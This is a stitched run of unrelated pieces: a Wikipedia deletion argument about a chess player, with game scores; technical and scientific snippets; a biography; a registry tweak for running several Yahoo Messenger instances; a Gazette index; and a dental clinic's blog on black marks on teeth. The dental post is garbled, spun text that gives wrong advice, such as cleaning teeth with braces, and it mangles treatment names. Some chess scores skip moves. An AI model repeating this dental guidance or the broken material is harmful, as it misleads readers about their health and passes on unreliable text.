Hoffer was asked to represent his organization by those in the know and with power in correspondence. He won the strongest event ever played in North America, for Pete’s sake. North America is a big place. From at least 1989-1992, he was perhaps the strongest and most accomplished active correspondence chess player and journalist in North America. Just ask Alex Dunne of Chess Life Magazine “The Lost Tournament” (May 1996 p.22-24), if you need a USCF citation for verification.
To help clarify your detective work on Mr. Hoffer, he first began correspondence play with USCF, winning every game and moved on to ICCF. I believe he briefly participated in ICCF in 1974 and reemerged in 1985, also winning every game. In 1987 an organization based in Cleveland called The Chess Connection offered by far the largest prizes in correspondence chess history. Hoffer became a charter member and took this league by storm. Not only did he become TCC Champion, he was also selected to be the chief columnist and games editor of their International magazine for three years.
This was when his games and analysis began to appear around the globe, especially in publications based in the Netherlands and Eastern Europe. At that time, it was typical for these references to ask American ICCF chief Max Zavanelli if it was alright to republish Hoffer’s analysis, which Zavanelli granted freely and without Hoffer’s approval, not that Hoffer minded. The point is Hoffer did nothing himself to promote his games being published in such esteemed references such as the New In Chess Yearbook.
Hoffer dropped every other venue of play to concentrate on winning that North American title and to write quality analysis that was nothing short of brilliant and entertaining. He was asked by ICCF official Allen Wright to coauthor all future books on the ICCF US Championships. Hoffer was also asked to participate in the first and only National Team Championship, which was an ICCF rated event in which Hoffer went undefeated with the best result on his team. A serious medical issue in late 1992 involving two surgeries forced him to cut back his workload. By 1996, his health problems became so severe he was had to abandon all chess activity and was granted a special withdrawal by ICCF’s Allen Wright from the 13th US Correspondence Chess Championship. He never played another correspondence chess game.
Due to his limited play with USCF & ICCF, it is irrelevant to include those external links unless it is the purpose of Wikipedia to insult the subject of these articles for things they have not even tried to do.
Here is a direct quote from Wikipedia “ICCF USA History”: USPCF under the direction of Max Zavanelli organized the First National Team Championship Tournament early in 1991. USCF, CCLA, APCT, TCC, and NOST each entered a team on 50 boards. Dr. G. S. Benner, ICCF International Arbiter, was the Tournament Secretary. The event was won by APCT. This was a one time event because The Chess Connection had financial problems and ceased operation during the event.
It was in fact due to TCC’s difficulties that Mr. Hoffer was robbed of his promised automatic qualification into the elimination cycles leading to the World Championship. This was a very bitter pill to swallow after all of his years of dedication and hard work. [Chess Life Magazine “The Lost Tournament” (May 1996 p.22-24).] His subsequent severe health issues sealed the deal on future correspondence play.
Nevertheless he has devoted his spare time to coaching children and with rewarding success.
While totally irrelevant, I will address your concerns over the USCF OTB issue. Hoffer’s private health issues have created wildly uneven results. He has great difficulty maintaining his health and stamina for a perfect score during a weekend Swiss. It has been very frustrating for someone of such creativity to almost inevitably and seemingly childishly have at least one wretched round that costs him a tournament. We can personally tell you we have never seen him lose a game to a superior opponent and challenge you to find anyone who has seen this. In fact, when he loses, he is always ahead in material, loses focus and beats himself. In his own words, his nervous energy is lifted in a mundane won position, and he turns into an idiot. USCF TDs Thad Rogers and Ralph Whitford have witnessed this frustrating spectacle, particularly of opponents wanting Hoffer barred from play in class sections, calling him a sandbagger. Due to his medical afflictions, and as it does not violate USCF rules, Hoffer has certainly guarded his choice of entering OTB tournaments in order to get paid before raising his OTB rating. He finished ½ point out of 1st at the 1993 World Open when he blew a ridiculously won game in time trouble. We have suggested he give in to these objections and play in open sections as he would likely win most of his games and blow at least one game in most any section he enters! When lack of quality sleep and time pressure are not factors, he plays remarkably well. From the comfort of his own home and not having to immediately play another round, he has defeated over 50 GMs & IMs on the Internet.
Mr. Hoffer is stubborn if nothing else. The stamina issue extends well beyond the chess board and into the business world. He is very high functioning in confined spaces of time, and then often has to rest for days. Due to his age, his health issues have become life threatening and are currently being vigorously addressed. The plan is for him to finally get some radical surgical procedures that may potentially and completely alleviate these issues. While these operations are scary, we are encouraging him to proceed.
There have been gaps in years of his life where either his businesses have taken the place of chess to feed his family, or his health has caused years of inactivity from both. Nonetheless, chess has always been on his mind. He is currently at work on three book projects. One of them is a compilation of his Internet victories titled Winning Internet Chess, which is a popular activity that has not been discussed in books. Another contains opening novelties. He’s in the production stage of a series of instructional DVDs and trying to expand Hoffer’s Chess Academy to a franchise level. We would like to encourage him to get his life back, rather than for people like you to decide he is not worthy. It would be an inspirational story for him to be able do so at the age of 53. That is why some of his friends have nominated him for a Wikipedia page, feeling he has already had notable accomplishments deserving of such recognition.
To further illustrate:
Hoffer - Throne-Holst, B50 Sicilian Anti-Najdorf, Orlando, 1989
1.e4 c5 2.Nf3 d6 3.Be2 Nf6 4.c3 Nc6 5.d4 cxd4 6.cxd4 Nxe4 7.d5 Qa5+ 8.Nc3 Nxc3 10.Nxe5 Qxc3+ 11.Bd2 Qxe5 12.0–0 Qxd5 13.Rb1! a6! 14.Bf3 Qxa2! 15.Rxb7!? Bxb7 16.Bxb7 Rb8 17.Bc6+ Kd8 18.Qg4! e6 19.Qg5+ f6 20.Qe3! Rb1 21.Be1!! Hoffer-Throne-Holst, Orlando 1989 21...Kc7 22.Be4 Rb6™ 23.Bb4!! d5™ 24.Bxf8 Rxf8 25.Qc5+ Kb7 26.Qxf8 dxe4 27.Qxg7+ Ka8 28.Qxf6± Qc2 29.Qh8+ Rb8 30.Qxh7 a5 31.Qh5 a4 32.Qa5+ Kb7 33.h4! Kc8 34.Qa6+ Kd7 35.h5 Rb1 36.Rxb1 Qxb1+ 37.Kh2 Qd1 38.h6 Qh5+ 39.Kg1 Qd1+ 41.Qb5+ Ke7™ 42.h7 Qa1+™ 43.Kh2 Qh8™ 44.Qb7+ Kf6™ 45.Qxe4 a3 46.Qf3+ Kg7 47.Qxa3 Qxh7+ 48.Qh3± This is still not an easy endgame. White has winning chances if he can shelter his King from checks while the Black King has nowhere to hide. If White does trade pawns, he must be sure to end up with the f-pawn because a g-pawn plus Queen vs. Queen is a known draw.
GM Gruenfeld,Yehuda (2513)-Hoffer,Michael (2741), C89 Ruy Lopez Herman Steiner, Internet 2009
1.e4 e5 2.Nf3 Nc6 3.Bb5 a6 4.Ba4 Nf6 5.0–0 Be7 6.Re1 b5 7.Bb3 0–0 8.c3 d5 9.exd5 e4 10.dxc6 exf3 11.d4 fxg2 12.Qf3 a5! 13.Bf4!? a4 14.Bc2 Be6 15.Nd2 b4 16.Ne4 a3 17.b3 bxc3 18.Rad1 Nd5 19.Be5 Ra6!?“ 20.Qd3! f5! 21.Qxa6 fxe4 22.Bxe4 Bh4 23.Bg3 Qf6 24.Qe2 Nf4 25.Qc2?! Nh3+ 26.Kxg2 Nxf2–+ 27.Qxf2 Qxf2+ 28.Bxf2 Rxf2+ 29.Kg1 Rxa2 30.d5 Bf2+ 31.Kh1 Bxe1 32.dxe6 Bh4 Yehuda gracefully resigned rather than play out 33.Rd7 c2 34.Bxc2 Rxc2 35.Rxc7 h6 36.Rc8+ Kh7 37.c7 Be7 38.h3 Bd6 0–1 —Preceding unsigned comment added by Chessmike04 (talk • contribs) 23:50, 31 March 2010 (UTC)
Legitimate and reliable sources qualified to clarify this page
I felt it was best to stay out of this discussion, yet it seems time may be of the essence. People who care about me have gone to a lot of trouble to post this page about me. I do not see the point of deleting anyone who has won major championships, made several contributions to theory in New In Chess (and other sources), and dedicated his life to this endeavor by mentoring numerous young champions. I also do not see the point of denigrating these credentials with incomplete ICCF data or irrelevant USCF info. For ICCF background, why not contact Max Zavanelli, the head of ICCF in the US at He is well aware of how I devoted my time to TCC, which was an affiliate of ICCF. As for USCF, I have been told that Ralph Whitford, perhaps the most respected USCF TD in the America, has sent material to Chessmike04. I hope it gets posted in time. Before deleting this page, why not contact Mr. Whitford at If anyone has any questions, please feel free to contact me:. Michael Hoffer Yes2chess (talk) 06:15, 2 April 2010 (UTC)
* What you suggest would constitute original research. Wikipedia is an encyclopaedia and relies on materila already published in verifiable, independent reliable sources. –– Jezhotwells (talk) 08:26, 2 April 2010 (UTC)
There are no more reliable sources than New In Chess Yearbook or Chess Life. Very few players have any games in New In Chess (the subject has several) or articles written about them in Chess Life (a USCF publication). Those sources alone easily verified this article until Bubba73, a local-level USCF TD, made wild accusations and inaccurate conclusions about my limited participation in Bubba73's federation - USCF, because he could not understand why I moved on to ICCF and then to TCC (an ICCF affiliate), when TCC offered the largest prize funds in correspondence chess history! The phenomenon of rival federations occurs in many sports, including chess. From 1993-2006, the FIDE World Chess Champions were clearly not as strong as Kasparov & Kramnik. Before Bubba73, a local-level USCF TD who has access to the White Pages, tries to discredit someone who has impeccable sources with his incomplete sketchy sourcing, he might contact National USCF TD Ralph Whitford in Jacksonville, or ICCF US Chief Max Zavanelli of Orange City, FL who approved the publication of Hoffer games in Europe at an international conference, or ICCF official Allen Wright of Tarpon Springs, FL. (Thank you, Jezhotwells, for removing their contact number and email address. I am sorry I was so careless with them.) Yes2chess (talk) 21:27, 2 April 2010 (UTC)
USCF ANTD Ralph Whitford email message
"If this helps in the fight to save Michael’s Wikipedia page, please use it. During the 80’s and 90’s when I was becoming active in directing chess tournaments, I observed Michael’s game quite often. He played very interesting positions, which is one reason I watched his games. The other reason is that he would catch up to me later during the tournament and tell me what went right (or wrong) with his game. In order to discuss his game intelligently, I made a point to look at the game in progress whenever I had a moment. His worst enemy was time management. He would be playing a beautiful game, but being short on time, mess up and lose. Poor time management cost him quite a few dollars by keeping him out of the winnings. I knew he did correspondence chess. He shared some of the games with me at tournaments. Knowing that he was a strong player, if he had enough time to work out each move, it was no surprise to me that his CC rating was hundreds of points higher than his OTB rating. The bottom line is, Michael is a real person. Perhaps Bubba73 would like to correspond with myself or with Michael if he doubts the existence of Michael. I would be glad to help in any way to reconcile the differences between these people." Yes2chess (talk) 06:29, 2 April 2010 (UTC)
* No one is doubting your existence, However, Wikipedia has a a number of policies regarding notability, verifiability and reliable sourcing. In addition, editors with a conflict of interest are encoraged to read our guidleines on that. If reliable sources can be added to the article that demonstrate the subject's notability. I have have removed the email address as Wikipedia is highly visible and leaving contact details here is likely to lead to spam attacks. –– Jezhotwells (talk) 08:22, 2 April 2010 (UTC)
* (1) I have no doubts that Michael Hoffer exists. (2) My reasons for nominating the article for deletion have nothing to do with the fact that I am a USCF tournament director. (3) My reasons for nominating the article for deletion have nothing to do with my "bias" against correspondence chess. I played CC almost continuously from 1971 to about 1988, becoming a candidate master in that period. (4) My reasons for nominating the article for deletion are as stated - the person is not sufficiently notable for a Wikipedia article. Bubba73 (You talkin' to me?), 02:56, 5 April 2010 (UTC)
* And as far as ChessMike04's charge that I am biased against Hoffer because I live in Georgia "being one of the last states in America to grant equal rights to people of color." - I have no idea whether Hoffer is black or not. It never entered my mind and it has no bearing on the AfD. Bubba73 (You talkin' to me?), 03:28, 5 April 2010 (UTC) | WIKI |
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At PyCon 2004 the startup time of the interpreter was analyzed and it was realized that no simple solution existed. Part of the reason was some older code, such as the 'site' module which could stand a rewrite, was not optimized for modern Python. Another issue was other modules that were written in Python that might do better written in C ('warnings'?). It seemed importation of code was the major cause of a slow startup.
So, to make this work, one might need to consider:
• what modules are imported automatically
• whether modules that are always imported could be improved/modernized with an eye on efficiency
• lowering importation dependencies
Notes
The thing I keep running into is the time it takes the 're' module to load. Python doesn't load that initially by default but it's widely used so its slowness does in practice slow down startup. - Stephan Deibel
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20th Forqué Awards
The 20th Forqué Awards were presented on 12 January 2015 at the Palacio Municipal de Congresos in Madrid. The gala, broadcast on La 1, was hosted by Ana Morgade.
History
The nominations for all the competitive categories (except for the Best Animation and or Documentary film, to be disclosed without finalists on the gala day) were announced on 18 December 2014 by Manuela Vellés and Raúl Arévalo during an event also attended by Lorena González (ICAA's president) and Enrique González Macho (Spanish Film Academy president). An Argentine-Spanish co-production, Damián Szifrón's Wild Tales was nominated both for Best (Spanish) Film and for Best Latin-American Film.
Organised by EGEDA, the award ceremony was held at the Palacio Municipal de Congresos in Madrid on 12 January 2015. On behalf of Enrique Cerezo, Concha Velasco handed Spanish public broadcaster RTVE the EGEDA Gold Medal in recognition to its contribution to the Spanish film industry.
Hosted by Ana Morgade, the gala featured performances by Café Quijano, Juan Zelada, AlamedaDosoulna, India Martínez, and theatre group Ron Lalá.
Winners and nominees
The winners and nominees are listed as follows: | WIKI |
RIP Tab
The following table describes the virtual router’s Runtime Stats for RIP.
RIP Runtime Stats
Description
Summary Tab
Interval Seconds
Number of seconds in an interval. RIP uses this value (a length of time) to control its Update, Expire, and Delete Intervals.
Update Intervals
Number of intervals between RIP route advertisement updates that the virtual router sends to peers.
Expire Intervals
Number of intervals since the last update the virtual router received from a peer, after which the virtual router marks the routes from the peer as unusable.
Delete Intervals
Number of intervals after a route has been marked as unusable that, if no update is received, the firewall deletes the route from the routing table.
Interface Tab
Address
IP address of an interface on the virtual router where RIP is enabled.
Auth Type
Type of authentication: simple password, MD5, or none.
Send Allowed
Check mark indicates this interface is allowed to send RIP packets.
Receive Allowed
Check mark indicates this interface is allowed to receive RIP packets.
Advertise Default Route
Check mark indicates that RIP will advertise its default route to its peers.
Default Route Metric
Metric (hop count) assigned to the default route. The lower the metric value, the higher priority it has in the route table to be selected as the preferred path.
Key Id
Authentication key used with peers.
Preferred
Preferred key for authentication.
Peer Tab
Peer Address
IP address of a peer to the virtual router’s RIP interface.
Last Update
Date and time that the last update was received from this peer.
RIP Version
RIP version the peer is running.
Invalid Packets
Count of invalid packets received from this peer. Possible causes that the firewall cannot parse the RIP packet: x bytes over a route boundary, too many routes in packet, bad subnet, illegal address, authentication failed, or not enough memory.
Invalid Routes
Count of invalid routes received from this peer. Possible causes: route is invalid, import fails, or not enough memory.
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A Review of 60 Years of NMR Wettability
Valori, Andrea (Schlumberger SDCR) | Nicot, Benjamin (Total CSTJF)
OnePetro
Abstract
Wettability is a key parameter in the development of an oilfield as it strongly affects oil saturations, capillary pressures, electrical properties, relative permeabilities and oil recovery. Despite attempts made to evaluate wettability downhole, the standard methods to quantify it are still laboratory based; the two most commonly used are Amott-Harvey (AH) and US Bureau of Mines (USBM). These techniques are expensive and very time-consuming, requiring a sample to be retrieved from the well and analyzed in the laboratory. In several cases, the results are obtained late and only after several decisions regarding the reservoirs had to be made, without this important piece of information.
It is ubiquitously recognized that nuclear magnetic resonance (NMR) is very sensitive to the strength of the fluid-rock interactions, and therefore has been considered as a good candidate for wettability determination since the 1950s. The NMR signal, however, is also sensitive to several other fluid and rock properties, for example viscosity and pore-size distribution, making the practical extraction of wettability information from NMR data not straightforward. NMR has, however, two considerable advantages compared to AH and USBM: it is much faster, allowing much faster turnaround of laboratory measurements, and can be measured in-situ downhole, with the result of the measurement being available in real time. These extreme advantages fueled the research on the topic of NMR wettability despite the above-mentioned difficulties.
There are at least three main NMR parameters measurable downhole: T1, T2 and diffusion; with additional information extractable from the correlation between these three. Wettability affects all of these parameters, and the correlation between them. This means that there is not a single way to extract wettability information from NMR data, but there are different options.
Here, we review 60 years of literature on the topic of NMR and wettability, from the first experimental observations in the 1950s to the most recent advancements. Also, this work aims at presenting strengths and limitations of the techniques being developed nowadays, to help the audience make the best choice for each specific case. In this paper, we discuss both laboratory- and log-based applications, although we place greater emphasis on laboratory-based applications. | ESSENTIALAI-STEM |
Black Markings On Teeth Treatment Spring Orchid Dental
Black markings on teeth can be concerning and have an effect on our self-esteem. Because our smile plays such a big role in our overall look, it’s natural to feel self-conscious about any discoloration you may have seen on your teeth. But, what are these black spots on teeth, and what produces them?
Let’s research this exciting issue to understand the causes of these discolorations and find ways to restore our smiles’ natural attractiveness:
Black Marks On Teeth – What Is It?
black markings on teeth
Dark spots or patches that appear on a person’s teeth are called “black marks on teeth.” Spots of varying sizes and shapes may appear anywhere on the tooth.
If you see any black spots on your teeth, you should consult your dentist about treatment options. They know how to figure out why your teeth have black spots and which methods work best.
Causes Of Black Markings On Teeth
Numerous factors might lead to discoloration of teeth. These discolorations or spots might make your smile seem less than perfect. To successfully address the issue, you must first identify the root source of the smudges. Some typical causes of tooth discoloration are listed below:
Plaque And Bacteria
Plaque And Bacteria
Most of the time, plaque and germs are to blame for dark spots on teeth. Plaque and germs can make teeth look yellow if they are not cleaned well. This piece will explain what black tooth spots are and how to avoid them:
• Dental plaque: Plaque is a thin, sticky layer that builds up on the surface of teeth and in the gaps near the roots. There are germs, bits of food, and other biological stuff in it. Plaque that isn’t adequately removed might become bacterial plaque.
• Bacterial biofilm: Plaque is simpler than bacterial plaque. It has billions of microorganisms, trash, and metabolic products. Bacterial plaque starts off white or light yellow, but if left untreated, it may discolor the enamel layer and stain the tooth black.
• Bacterial action: Plaque bacteria may generate chemicals that discolor teeth or promote staining. Some bacteria produce pigments like melanin that may stain teeth black or brown.
Thus, frequent teeth cleaning prevents plaque and germs from staining teeth. This involves employing orthodontics, fluoride toothpaste, dental plaque only, and routine dental appointments to eliminate plaque and stubborn germs.
Cigarette Smoking
Smoking dramatically increases the likelihood of tooth discoloration. Tobacco contains harmful substances including nicotine and tar, which may stain teeth black or brown. Nicotine and tar progressively bond to the enamel when cigarette smoke falls on the teeth. These sticky substances build up plaque and bacterial plaque on teeth. If neglected, plaque may darken teeth black.
Moreover, smoking not only discolors teeth but also causes foul breath and gum disease.
Consequently, if you care about your teeth and want to prevent tooth discoloration and other dental results induced by tobacco use, you should quit smoking immediately. Quit smoking. Use fluoride toothpaste and braces to clean your teeth twice a day.
Caffeine Drinks
Caffeine Drinks
Drinking coffee, tea, carbonated soft drinks, or liquids with added colors like chocolate or juice may stain teeth. Caffeinated beverages generate black spots for many reasons:
• Colorants: Many caffeinated drinks include caramel, natural brown, or black colorants. These pigments may discolor teeth black over time.
• Acidity: Soda and fruit juices, for example, both contain caffeine and are quite acidic. This acidity can wear away tooth enamel and make tooth surfaces tender and prone to getting plaque and bacteria, which can stain teeth dark.
• Gum loss: Coffee may induce gum irritation and inflammation. When gum inflammation and loss occur, the root of the tooth might become exposed to pigments and stains, making the teeth seem opaque.
In addition, regular dental checkups to clean teeth and seek advice from a dentist also help avoid black stains on teeth.
Antibacterial Use
In fact, taking medicines doesn’t cause dark spots on teeth directly. However, antibiotics may promote bacterial development and cause tooth discoloration.
When antibiotics are used, they kill harmful bacteria, but they can also kill “good” bacteria and upset the balance of bacteria in the mouth. This may increase plaque and bacteria buildup on your teeth, causing dark marks. Also, drugs like tetracycline can directly change the color of teeth. When consumed during tooth development, tetracycline may build up in the tooth structure and turn teeth black or brown. Though, not everyone who takes medicines has this problem. Antibiotics affect teeth differently depending on kind, dosage, duration, and personality.
However, discuss your worries about antibiotics’ impact on your teeth with your dentist or dental expert. They will accurately analyze your teeth and recommend the best oral health care.
Black Tooth Marks From Injury
A tooth injury is another thing that can cause dark spots on teeth. When the tooth is hurt, such as by a hard blow, a break, or a crack, the top enamel layer can be hurt. When enamel is broken, blood or plaque may enter and leave a black stain.
Also, a strong shock can damage the blood vessels inside the tooth if there is a lot of damage to the tooth. Due to blood or other pollutants, the teeth may progressively die and become black.
So, if you have black spots on your teeth because of damage, you need to see your dentist right away. Your dentist will evaluate your teeth and suggest remedies.
Black Markings On Teeth Treatments
Depending on the root of the problem and the degree of discoloration, many options exist for removing black stains from teeth. Some typical therapies include:
• Teeth whitening: Whitening your teeth can help lighten them and get rid of any dark spots. Depending on your teeth’s state, you may choose in-office or at-home whitening.
• Veneers and groves: With veneers, a thin piece of shell (usually ceramic) is put on the front of a tooth to cover dark spots and make it look better. Forestry is similar, but instead of ceramics, it uses thin mixed materials. This process is often used to fix sunspots that are very bad or to fix broken teeth.
• Filling: A filling involves removing the damaged region and filling it with a substance to restore the tooth’s form and color. This method works for small black spots that are caused by holes, small sores, or plaque.
• Other dental treatments: In some cases, the darkening can be treated with other dental procedures, such as root taps (endodontic treatment), caps, or tooth extractions.
• Care and control of oral hygiene: After treatment, excellent oral hygiene—brushing twice a day, using only mouth cleaning products, and regular dental checkups—is crucial.
Thus, get in touch with your dentist to discuss your options for care. To correct your teeth’s black spots, your doctor will accurately examine and determine the finest therapy.
Conclusion
teeth whitening
We have discovered the reasons and solutions for black spots on teeth jointly. Black spots on teeth can make us feel less confident and make it hard to smile. However, teeth whitening at the Spring Orchid Dental Clinic is a safe and effective answer to this issue.
The staff at Spring Orchid Dental Clinic takes great pride in being the area’s go-to location for professional teeth bleaching treatments. We provide bright, confident smiles with experienced dentists and contemporary technology.
When you choose to whiten your teeth at Spring Orchid Dental Center, you will get a lot of benefits. A whitening method that is both safe and efficient, bleaching your teeth to a whiter, healthier shade. You’ll gain confidence and shine with a grin. Additionally, Spring Orchid Dental Clinic is devoted to prioritizing your comfort and pleasure above everything else. We employ cutting-edge technology and a pleasant, professional atmosphere to whiten teeth safely.
FAQs
Not at all common, black patches on teeth are unusual. Though most black stains indicate an issue, some darkening is normal as we age or as a result of habits like drinking or eating foods that leave a residue. Cavities, traumas, drugs, and improper dental hygiene are just a few of the many potential causes of these spots.
Remember that black stains on teeth may be prevented and treated with regular dental examinations, brushing and flossing, and the help of a trained dentist.
Not at all. Black tartar is not necessarily a sign of impending decay, although it may be if it is not removed. Tartar, also known as calculus, forms on teeth when plaque, a sticky covering of bacteria and food particles, is not removed thoroughly by brushing and flossing.
However, tartar may create an environment that can be harmful to teeth. Plaque and tooth decay are both results of bacteria clinging to tartar. Cavities, sore gums, and other dental issues may develop if black tartar is not removed.
No, you shouldn’t scrape black tartar from your teeth at home. Tartar is a solid form of plaque that builds up on the teeth. It is also called calculus. It must be removed by a dentist.
When trying to get rid of tartar, it’s best to consult a dentist. Dentists and hygienists can safely remove tartar and clean teeth. In addition to determining the state of your teeth and gums, they may also diagnose any underlying issues and provide solutions.
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Mark L. De Motte
Mark Lindsey De Motte (December 28, 1832 – September 23, 1908) was an American lawyer, Civil War veteran, and politician who served one term as a U.S. Representative from Indiana from 1881 to 1883. He was also a lawyer, law school dean, newspaper editor and postmaster. The town of DeMotte, Indiana was named after him during his term in Congress.
Biography
Born in Rockville, Indiana, De Motte pursued preparatory studies. He was graduated from the literary department of Indiana Asbury (now De Pauw) University, Greencastle, Indiana, in 1853 and from the law department of the same university in 1855. He was admitted to the bar and began practice in Valparaiso in 1855. De Motte was elected prosecuting attorney of the sixty-seventh judicial district in 1856.
Civil War
He served in the Union Army with the rank of first lieutenant in 1861. He was promoted to captain in 1862.In 1865, he was promoted to Colonel, and while the left the service later that year, he could continue to be referred to as "Colonel DeMotte" throughout his life.
Career
At the close of the war he moved to Lexington, Missouri, and resumed the practice of law. He was editor and proprietor of the Lexington Register. He was an unsuccessful Republican candidate for election to Congress in 1872 and 1876. He served as delegate to the Republican National Convention in 1876. He returned to Valparaiso, Indiana, in 1877 and resumed the practice of law. He organized the Northern Indiana Law School (later Valparaiso University School of Law) in 1879.
Congress
De Motte was elected as a Republican to the Forty-seventh Congress (March 4, 1881 – March 3, 1883). He was an unsuccessful candidate for reelection in 1882 to the Forty-eighth Congress.
Later career and death
He served as member of the Indiana State Senate from 1886 to 1890. He was appointed postmaster of Valparaiso March 24, 1890, and served until March 20, 1894. He was dean of the Northern Indiana Law School from 1890 to 1908.
He died in Valparaiso, Indiana, September 23, 1908, and was interred in Maplewood Cemetery. | WIKI |
Friday, February 29, 2008
Yahoo Messenger Multiple Login
For Yahoo! Messenger with Voice 8 users, it’s now possible to run multiple instances of Yahoo! Messengers (polygamy feature) and log into multiple Y!Msgr accounts with just a simple registry hack.
So if you need to open and log-in multiple Yahoo! Messenger accounts as you have a few Yahoo! ID or various other reason, just use the small registry registration file below that once click, will modify and merge the registry setting required to run and execute multiple Yahoo! Messengers at the same time on a computer.
Download ym8multi.zip, extract it and run “ym8multi.reg” contained inside the archive. Once the registry is patched, you can now starting and running multi Yahoo! Messenger with different login or Yahoo! ID accounts. If you want to uninstall the patch/hack, download the ym8multi_uninst.zip uninstaller which contains ym8multi_uninst.reg. Once double click on this uninstaller registration registry value file, it will edit the registry value and set it to disable the ability for Y!M 8 to launch multiple copy of instances.
If you prefer to edit and change the registry setting yourself manually, without using the above registry registration file, simply launch the registry editor (type regedit at Run command), and navigate to the following registry branch:
HKEY_CURRENT_USER\Software\yahoo\pager\Test
Then, on the right pane, right click on the registry editor and select “New”, then create a new DWORD registry value. Name the new registry key as Plural, and assign it the value of 1 (decimal). If some case, the value of 2 should also works. To disable or disallow multiple instance of Yahoo Messengers, simply change and set the “Plural” registry key’s value to 0, or delete the “Plural” key.
2 comments:
cheapee said...
I already downloaded it so what's the next step? Do I need to sign out and sign in again? how will I sign in to my other account?
|toekang.blog| said...
@cheapee
after download, extract and run the ym8multi.reg file... u can start n running multiple YM.
Just open your YM, go online.. then open another YM just like the first one to online with your second account.
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Wikipedia:London Gazette Index/18/1816
Index of the London Gazette for 1816.
January
* 2 January 1816 Issue p. 1
* 6 January 1816 Issue p. 21
* 9 January 1816 Issue p. 45
* 13 January 1816 Issue p. 65
* 16 January 1816 Issue p. 89
* 20 January 1816 Issue p. 109
* 23 January 1816 Issue p. 133
* 27 January 1816 Issue p. 149
* 30 January 1816 Issue p. 173
February
* 2 February 1816 Issue p. 193
* 3 February 1816 Issue p. 201
* 6 February 1816 Issue p. 229
* 7 February 1816 Issue p. 253
* 10 February 1816 Issue p. 261
* 13 February 1816 Issue p. 285
* 17 February 1816 Issue p. 305
* 20 February 1816 Issue p. 333
* 24 February 1816 Issue p. 357
* 27 February 1816 Issue p. 381
March
* 2 March 1816 Issue p. 401
* 5 March 1816 Issue p. 429
* 9 March 1816 Issue p. 449
* 12 March 1816 Issue p. 481
* 16 March 1816 Issue p. 505
* 19 March 1816 Issue p. 529
* 23 March 1816 Issue p. 553
* 26 March 1816 Issue p. 585
* 30 March 1816 Issue p. 601
April
* 2 April 1816 Issue p. 625
* 6 April 1816 Issue p. 641
* 9 April 1816 Issue p. 665
* 13 April 1816 Issue p. 685
* 16 April 1816 Issue p. 709
* 20 April 1816 Issue p. 725
* 23 April 1816 Issue p. 749
* 27 April 1816 Issue p. 765
* 30 April 1816 Issue p. 793
May
* 4 May 1816 Issue p. 817
* 7 May 1816 Issue p. 849
* 11 May 1816 Issue p. 873
* 14 May 1816 Issue p. 905
* 18 May 1816 Issue p. 929
* 21 May 1816 Issue p. 961
* 25 May 1816 Issue p. 985
* 28 May 1816 Issue p. 1017
June
* 1 June 1816 Issue p. 1037
* 4 June 1816 Issue p. 1069
* 8 June 1816 Issue p. 1089
* 11 June 1816 Issue p. 1117
* 15 June 1816 Issue p. 1137
* 18 June 1816 Issue p. 1161
* 22 June 1816 Issue p. 1181
* 25 June 1816 Issue p. 1213
* 29 June 1816 Issue p. 1237
July
* 2 July 1816 Issue p. 1269
* 6 July 1816 Issue p. 1293
* 9 July 1816 Issue p. 1329
* 13 July 1816 Issue p. 1361
* 16 July 1816 Issue p. 1389
* 20 July 1816 Issue p. 1405
* 23 July 1816 Issue p. 1433
* 27 July 1816 Issue p. 1453
* 30 July 1816 Issue p. 1477
August
* 3 August 1816 Issue p. 1501
* 6 August 1816 Issue p. 1525
* 10 August 1816 Issue p. 1545
* 12 August 1816 Issue p. 1569
* 13 August 1816 Issue p. 1573
* 17 August 1816 Issue p. 1593
* 20 August 1816 Issue p. 1617
* 24 August 1816 Issue p. 1637
* 27 August 1816 Issue p. 1661
* 31 August 1816 Issue p. 1681
September
* 3 September 1816 Issue p. 1705
* 7 September 1816 Issue p. 1721
* 10 September 1816 Issue p. 1749
* 14 September 1816 Issue p. 1765
* 15 September 1816 Issue p. 1789
* 17 September 1816 Issue p. 1797
* 21 September 1816 Issue p. 1813
* 24 September 1816 Issue p. 1845
* 28 September 1816 Issue p. 1869
October
* 1 October 1816 Issue p. 1897
* 5 October 1816 Issue p. 1913
* 8 October 1816 Issue p. 1937
* 12 October 1816 Issue p. 1953
* 15 October 1816 Issue p. 1977
* 19 October 1816 Issue p. 1993
* 22 October 1816 Issue p. 2017
* 26 October 1816 Issue p. 2033
* 29 October 1816 Issue p. 2053
November
* 2 November 1816 Issue p. 2069
* 5 November 1816 Issue p. 2093
* 9 November 1816 Issue p. 2109
* 11 November 1816 Issue p. 2137
* 12 November 1816 Issue p. 2141
* 16 November 1816 Issue p. 2165
* 19 November 1816 Issue p. 2197
* 23 November 1816 Issue p. 2221
* 26 November 1816 Issue p. 2249
* 30 November 1816 Issue p. 2273
December
* 3 December 1816 Issue p. 2297
* 7 December 1816 Issue p. 2313
* 10 December 1816 Issue p. 2337
* 14 December 1816 Issue p. 2361
* 17 December 1816 Issue p. 2385
* 21 December 1816 Issue p. 2409
* 24 December 1816 Issue p. 2441
* 28 December 1816 Issue p. 2465
* 31 December 1816 Issue p. 2489 | WIKI |
Physical oceanographic conditions to the northwest of the sub-Antarctic Island of South Georgia
Ocean physics is a key aspect of the operation of island ecosystems, yet the hydrodynamics is sometimes poorly understood. A high-resolution oceanographic survey to the north of South Georgia identified two water masses. These are South Georgia Shelf Water (SGSW) and Antarctic Zone Water (AZW). At the surface, SGSW is both colder and fresher than AZW; at the near-surface temperature minimum these differences are reversed. There are two causes: SGSW is close to the island and has an additional contribution to the heat and salt balance from increased precipitation and island runoff, and second, AZW has advected from higher latitudes. Both of these mechanisms imply SGSW is retained around the island. Between these water masses is a variable width frontal region that has a mixture of both water masses. In general terms, the mean current of the AZW is to the west. In the SGSW the general flow also appears to be to the west, but at reduced magnitude; there is evidence of a stronger westerly current close to the shore. In both water masses there are easterly surface currents most likely driven by the prevailing wind. An approximation for the limit of SGSW is that it is constrained to water depths <500 m. A significant deviation is caused by an anticyclonic flow around a prominent bank that can be associated with significant upwelling. Finally, we comment on the ecological significance of the system observed.
Details
Publication status:
Published
Author(s):
Authors: Brandon, Mark A., Murphy, E.J. ORCIDORCID record for E.J. Murphy, Trathan, P.N., Bone, D.G.
On this site: Eugene Murphy, Phil Trathan
Date:
1 January, 2000
Journal/Source:
Journal of Geophysical Research / 105
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23983-23996
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IVillage
